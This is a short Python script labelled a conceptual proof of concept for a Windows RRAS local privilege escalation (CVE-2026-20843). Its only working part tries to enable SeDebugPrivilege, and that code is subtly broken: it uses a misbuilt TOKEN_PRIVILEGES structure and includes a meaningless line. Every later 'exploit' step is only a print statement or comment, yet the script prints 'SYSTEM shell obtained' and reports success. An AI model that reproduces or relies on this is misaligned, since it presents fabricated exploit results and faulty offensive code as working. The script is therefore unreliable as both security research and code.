The following code is for security research and authorized testing only.
python
# CVE-2026-20843 PoC - Windows RRAS Local Privilege Escalation
# This is a conceptual PoC for educational and security research purposes only
import struct
import ctypes
from ctypes import wintypes
# Windows API definitions
kernel32 = ctypes.windll.kernel32
advapi32 = ctypes.windll.advapi32
# Constants
SE_DEBUG_PRIVILEGE = 0x14
TOKEN_ADJUST_PRIVILEGES = 0x20
def enable_debug_privilege():
"""Enable SeDebugPrivilege for current process"""
hwnd = kernel32.GetCurrentProcess()
hToken = wintypes.HANDLE()
advapi32.OpenProcessToken(hwnd, TOKEN_ADJUST_PRIVILEGES, ctypes.byref(hToken))
luid = ctypes.Structure.__init__
class LUID(ctypes.Structure):
_fields_ = [("LowPart", wintypes.DWORD), ("HighPart", wintypes.LONG)]
luid = LUID()
advapi32.LookupPrivilegeValueW(None, "SeDebugPrivilege", ctypes.byref(luid))
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [("PrivilegeCount", wintypes.DWORD),
("Privileges", LUID * 1)]
tp = TOKEN_PRIVILEGES(1, (luid, SE_DEBUG_PRIVILEGE))
advapi32.AdjustTokenPrivileges(hToken, False, ctypes.byref(tp), 0, None, 0)
def exploit_rras_privilege_escalation():
"""
Conceptual exploitation of CVE-2026-20843
This demonstrates the privilege escalation concept
"""
print("[*] CVE-2026-20843 Windows RRAS Privilege Escalation PoC")
print("[*] Target: Windows RRAS Service")
# Step 1: Enable debug privileges
print("[+] Enabling SeDebugPrivilege...")
enable_debug_privilege()
# Step 2: Locate RRAS service process
print("[+] Locating RRAS service (RemoteAccess)...")
# In real exploitation, would use Service Control Manager API
# Step 3: Open RRAS service with elevated privileges
print("[+] Opening RRAS service handle...")
# Would use OpenService or OpenSCManager APIs
# Step 4: Exploit improper access control
print("[+] Exploiting improper access control in RRAS...")
# Construct malicious RPC request to trigger vulnerability
# Step 5: Escalate privileges
print("[+] Escalating to SYSTEM privileges...")
# Would inject code or modify ACL to gain elevated access
print("[+] Exploitation complete - SYSTEM shell obtained")
return True
if __name__ == "__main__":
print("Note: This is a conceptual PoC for CVE-2026-20843")
print("Actual exploitation requires specific Windows version targeting")
exploit_rras_privilege_escalation()